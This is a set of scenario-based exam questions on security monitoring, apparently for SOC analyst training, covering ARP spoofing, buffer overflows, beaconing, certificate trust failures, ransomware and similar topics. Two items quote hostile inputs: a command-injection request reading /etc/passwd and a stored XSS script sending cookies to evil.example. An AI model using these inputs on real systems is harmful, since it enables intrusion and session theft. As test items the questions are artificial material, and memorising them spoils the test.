Security Monitoring

A SOC analyst is building a dashboard and wants to include a data source that provides human-readable notifications generated when traffic matches predefined signatures or rules, each including a rule ID, classification, and severity. Which type of security monitoring data best matches this description?

A SOC analyst reviewing switch logs and host ARP caches notices that two different IP addresses on the same VLAN — the default gateway (192.168.10.1) and a finance workstation (192.168.10.55) — are both mapped to the same MAC address (00:1A:2B:3C:4D:5E), which belongs to an unknown host. Users on that VLAN report intermittent slowness, and packet captures show duplicated traffic. Which type of network attack does this pattern most strongly indicate?

During a security review, an analyst documents that the company's public web portal exposes an HTTP interface, an SSH management port, and an outdated content management system with a known unpatched flaw (CVE-2023-XXXX). A junior teammate asks how to correctly categorize these findings. Which statement accurately distinguishes the attack surface from a vulnerability in this scenario?

An employee reports finding several unlabeled USB flash drives scattered in the company parking lot. Curious, one worker plugged a drive into their workstation, which then began installing an unknown application. The security team confirms the drives were deliberately placed by an outside party hoping employees would connect them. Which type of attack does this scenario BEST describe?

A SOC analyst reviews an endpoint after a legacy line-of-business application repeatedly crashed. Debug logs show the application received a 4,200-byte input into a fixed 256-byte field, after which the instruction pointer was overwritten and unexpected shellcode executed with the application's privileges. Which type of attack does this behavior most likely indicate?

A SOC analyst reviewing NetFlow records notices that a workstation sends small, nearly identical-sized HTTPS requests to the same external IP address every 60 seconds, day and night, with minimal response data returned. The user is not actively working during many of these intervals. Which type of malicious activity does this pattern most strongly indicate?

A user's browser displays a warning that a website's certificate cannot be verified, even though the site presents a valid-looking certificate with matching hostname and current dates. An analyst inspects the certificate and finds it was signed by an intermediate CA that the browser does not recognize. What is the most likely reason for the trust failure?

A SOC analyst investigating a service outage finds that users cannot connect to an internal HTTPS application and their browsers display a warning that the connection is not private. The application's TLS certificate was issued exactly one year ago by the organization's internal PKI. No configuration changes were made to the server or the application code. What is the MOST likely cause?

A security team deploys a next-generation firewall configured to decrypt and inspect outbound TLS traffic. After deployment, a specific mobile banking application on corporate devices begins failing to connect, while all other HTTPS traffic is inspected successfully. The firewall logs show the application terminating the connection during the TLS handshake. What is the MOST likely cause of this behavior?

A security analyst is reviewing why a user's browser displayed a warning that a website's certificate was 'no longer valid' even though the certificate's notAfter date is six months in the future. Server logs confirm the certificate had not expired. Which mechanism most likely triggered this warning?

A web application analyst reviewing Apache access logs for an internal server notices the following request against a network diagnostics page: GET /ping.php?host=8.8.8.8;cat+/etc/passwd HTTP/1.1 (200). The application is designed to let users enter an IP address to test connectivity. Which type of attack does this request most likely represent?

A SOC analyst is reviewing web server logs after users reported that a company forum page automatically launched a JavaScript pop-up displaying their session cookie values. Investigation shows a forum post containing the string <script>document.location='http://evil.example/c?='+document.cookie</script> was saved to the database and is now rendered for every visitor who views that thread. Which type of attack does this activity BEST represent?

A SOC analyst reviews an alert during a service outage. The company's public web server is unreachable, and NetFlow data shows an overwhelming volume of inbound HTTP requests arriving simultaneously from more than 40,000 unique source IP addresses spread across dozens of countries. Server CPU and bandwidth are fully saturated. Which type of attack best matches these observations?

A SOC analyst is investigating a suspected data exfiltration event. Session data and NetFlow records confirm a large transfer occurred between an internal host and an external IP over TCP port 443, but the analyst needs to examine the exact bytes sent, reconstruct the application-layer payload, and extract any transferred files to confirm what data left the network. Which data type should the analyst rely on to accomplish this?

A SOC analyst notices that a workstation is sending a steady stream of traffic to an external host on TCP port 443. On inspection, the payloads do not follow the TLS handshake structure — instead, an interactive remote shell session appears to be encapsulated inside the connection. The corporate firewall permits outbound 443 to any destination. Which evasion technique is the attacker most likely using?

During an investigation, a SOC analyst needs to reconstruct which user account authenticated to a Linux server, at what time, and whether the login succeeded or failed. The analyst is deciding which data source will most directly provide this specific record. Which data type should the analyst consult first?

A security analyst reviewing endpoint telemetry notices that winword.exe spawned powershell.exe, which then executed a heavily encoded command that downloaded and ran additional code directly in memory. No malicious file was ever written to the disk, so the file-based antivirus scan came back clean. Which type of endpoint-based attack does this behavior BEST describe?

A SOC analyst investigating a suspected endpoint compromise pulls the following data types from their monitoring platform: NetFlow records, firewall logs, and full packet capture from the network segment. The malware is confirmed to run entirely in memory on the host, injects into a legitimate signed process, and communicates only over TLS 1.3 to a domain that later resolves to a known-good CDN. Which additional data source would most directly reveal the malicious activity that the network-based sources are missing?

A SOC analyst reviews an endpoint alert: multiple user document files on a workstation had their extensions changed to '.locked', and a text file named 'RECOVER_FILES.txt' now sits in every affected folder demanding Bitcoin payment for a decryption key. Based on these observed behaviors, which type of endpoint-based attack is MOST likely occurring?

A SOC analyst is reviewing web server logs during an incident. Every malicious request originates from a small set of source IP addresses that reverse-DNS resolves to a well-known anonymization network's exit nodes. Blocking these addresses has little effect, and new requests continue arriving from different addresses in the same category. Which evasion technique is the attacker most likely using to obscure their true origin?